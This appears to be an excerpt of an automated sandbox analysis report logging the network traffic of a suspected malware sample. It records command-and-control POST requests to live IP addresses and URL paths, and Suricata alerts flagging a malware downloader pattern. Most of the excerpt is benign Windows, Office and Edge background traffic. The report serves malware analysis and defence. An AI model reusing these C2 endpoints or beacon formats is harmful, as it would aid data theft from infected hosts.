------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 20.1.248.118 20.1.248.118
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49780 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49899 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE4CC60 PR_Recv,

0_2_6CE4CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GhlgeS7zsvE4lXZ&MD=FvGd25on HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /config/v1/Edge/117.0.2045.47?clientId=-2063246587742936609&agents=Edge%2CEdgeConfig%2CEdgeServices%2CEdgeFirstRun%2CEdgeFirstRunConfig%2CEdgeDomainActions&osname=win&client=edge&channel=stable&scpfull=0&scpguard=0&scpfre=0&scpver=0&osarch=x86_64&osver=10.0.19045&wu=1&devicefamily=desktop&uma=0&sessionid=5&mngd=0&installdate=1696491615&edu=0&bphint=2&soobedate=1696491610&fg=1 HTTP/1.1Host: config.edge.skype.comConnection: keep-aliveIf-None-Match: "xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="Accept-Encoding: gzipSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732737942&P2=404&P3=2&P4=lGXE3cujq4NOwc5uk%2fN9%2f5Cavvl2DUh8XveuolXsoCpPUtB2v%2flimyfa4T%2f%2b2z6iuzcwznoLaQy3rpvFg%2bGx4A%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: Tif2bwwN+MvdyjJiNcDVK8Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732138119238&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27F5C03F1FAA650B38E3D5021EB364FD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
